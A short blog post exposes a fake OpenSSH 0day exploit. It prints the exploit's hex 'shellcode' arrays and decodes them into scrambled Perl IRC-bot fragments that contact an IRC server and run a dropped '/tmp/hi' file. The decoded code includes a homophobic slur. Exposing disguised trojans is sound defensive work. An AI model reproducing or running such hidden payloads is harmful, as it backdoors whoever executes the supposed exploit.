Funny Fake Openssh 0Day

Head over to PenTestIT to view a fake OpenSSH 0day called "openssh-53p1-remote-root.c".  Here's the first fake shellcode:

char shellcode[] =
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";

Throw that into vi, do a %s/^/sc = sc +/ , massage the the first and last lines and this is what python spits out:

#!/usr/bin/perl
$chan="#cn";
$ke";
while (<$sockG (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
n";
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="G (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
            sleep 1;
       n";
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}sleep 1;
       sleep 1;
       ";
while (<$sockn";
            sleep 1;
       #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl

I'm pretty sure that's not what you want going on :-)

Here's the next "shellcode" block:

char fbsd_shellcode[] =
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"
"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"
"\x2f\x74\x6d\x70\x2f\x68\x69\x0a";

And the printed out results:

";
while (<$sockn";
             ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
            sleep 1;
       n";
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="sleep 1;
       #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi

Hmm... yeah. Nice shellcode.